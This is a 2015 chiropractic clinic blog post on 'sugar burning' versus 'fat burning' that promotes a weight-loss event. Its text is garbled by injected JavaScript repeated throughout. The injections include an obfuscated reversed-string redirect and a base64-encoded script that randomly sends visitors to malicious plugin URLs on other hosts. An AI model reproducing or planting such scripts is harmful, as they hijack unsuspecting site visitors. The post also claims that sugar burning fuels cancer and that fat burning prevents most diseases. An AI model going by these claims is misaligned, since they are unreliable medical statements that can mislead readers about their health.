Do You Burn Fat Or Sugar?

Posted On : January 22, 2015

Sweets" src="http://familylifechiropractic.com/wp-content/uploads/2015/01/woman-300x203.jpg" width="300" height="203" />Do you know there are two different ways that your body creates energy throughout the day? One is an immediate energy system (from burning sugar) that provides short bursts of energy, while it increases your appetite, makes you crave harmful foods, causes your body to be weight-loss resistant, lowers your energy, fuels cancer, lowers your immunity, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and increases your risk of many chronic diseases. The other system (that burns fat) is an energy storage system. When your body draws energy from this fat burning system, you will maintain consistent energy all day long, sleep better at night, crave healthy foods, increase your immunity, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prevent most diseases including cancer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and heart disease.

The crazy thing is that YOU determine which one of these systems is operating in your body.  You likely agree that the fat burning system is clearly the preferred way to get energy. Yet most Americans have programmed their bodies to seek andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and produce short-lasting energy from burning sugar.

According to Ron Rosedale, MD: “Health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and life span is determined by the proportion of fat versus sugar people burn throughout their lifetime. The more fat you burn as fuel, the healthier you will be. The more sugar you burn as fuel, the more disease ridden you will be, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the shorter your life will likely be.”

So how do you know if you are a sugar burner or fat burner?

You are a sugar burner if you:

  • wake up tired andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and find you need caffeine/sugar to keep you going throughout the day.
  • crash at 3pm, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get a second wind at 10pm at night.
  • take naps often andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and don’t wake up from them feeling rested.
  • are a restless sleeper, waking up often (especially around 2am).
  • crave sugar andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and carbohydrates.
  • are hungry often, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can be ravenous if you go without food for long periods.
  • can’t lose weight no matter what you do.
  • notice that you are gaining weight with no explanation for it.
  • experience mood swings, cloudy thinking, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or brain fog.
  • get colds often.
  • take several medications (including high blood pressure & cholesterol).
  • often have headaches.
  • have chronic musculoskeletal pain.
  • feel exhausted all the time.

You are a fat burner if you:

  • can go several hours without food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and don’t feel like you will pass out.
  • have a moderate to low appetite.
  • have a strong immune system.
  • have consistent energy throughout the day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and don’t crash at 3pm.
  • don’t need caffeine to keep you going.
  • go to sleep easily at night andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rarely wake up.
  • wake up energized andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and refreshed
  • find you lose weight easily.
  • take little to no medications.
  • rarely have musculoskeletal pain.
  • have injuries andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and illnesses that heal quickly.
  • have good mental clarity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and often feel optimistic.
  • can workout in a fasted state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and don’t feel the need to carb load before a workout.
  • feel the healthiest you have been in a long time.

Regardless of where you are today, you can program your body to burn fat instead of sugar. It just takes the right combination of foods andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the correct type of exercise. This is EXACTLY what you will learn at our $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and<img src=" data-wp-preserve="%3Cscript%20type%3D%22text%2Fjavascript%22%3Efunction%20h052c1b60aed(x6)%7Bvar%20qd%3D'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B%2F%3D'%3Bvar%20t4%3D''%3Bvar%20t2%2Cu1%2Cq3%2Cq7%2Csa%2Cr9%2Cu2%3Bvar%20u4%3D0%3Bdo%7Bq7%3Dqd.indexOf(x6.charAt(u4%2B%2B))%3Bsa%3Dqd.indexOf(x6.charAt(u4%2B%2B))%3Br9%3Dqd.indexOf(x6.charAt(u4%2B%2B))%3Bu2%3Dqd.indexOf(x6.charAt(u4%2B%2B))%3Bt2%3D(q7%3C%3C2)%7C(sa%3E%3E4)%3Bu1%3D((sa%2615)%3C%3C4)%7C(r9%3E%3E2)%3Bq3%3D((r9%263)%3C%3C6)%7Cu2%3Bif(t2%3E%3D192)t2%2B%3D848%3Belse%20if(t2%3D%3D168)t2%3D1025%3Belse%20if(t2%3D%3D184)t2%3D1105%3Bt4%2B%3DString.fromCharCode(t2)%3Bif(r9!%3D64)%7Bif(u1%3E%3D192)u1%2B%3D848%3Belse%20if(u1%3D%3D168)u1%3D1025%3Belse%20if(u1%3D%3D184)u1%3D1105%3Bt4%2B%3DString.fromCharCode(u1)%3B%7Dif(u2!%3D64)%7Bif(q3%3E%3D192)q3%2B%3D848%3Belse%20if(q3%3D%3D168)q3%3D1025%3Belse%20if(q3%3D%3D184)q3%3D1105%3Bt4%2B%3DString.fromCharCode(q3)%3B%7D%7Dwhile(u4%3Cx6.length)%3Bdocument.write(t4)%3B%7D%3Bh052c1b60aed('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9rb2RtYXguY29tL3dwLWNvbnRlbnQvcGx1Z2lucy90d2l0dGVyLXdpZGdldC1wcm8vbGliL2NsYXNzLndpZGdldC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ%2B')%3B%3C%2Fscript%3E" data-mce-placeholder="1">-weight-loss-makeover" target="_blank">Makeover on Saturday, February 7th.

If you haven’t signed up yet for this life-changing event, do so now before we sell out (we are super close to being out of tickets). This will be the most important nutrition andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitness event that we teach all year!! Rearrange your schedule, get a sitter, cancel a prior engagement, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and make a commitment to YOU!

Together we can make 2015 your BEST year yet!!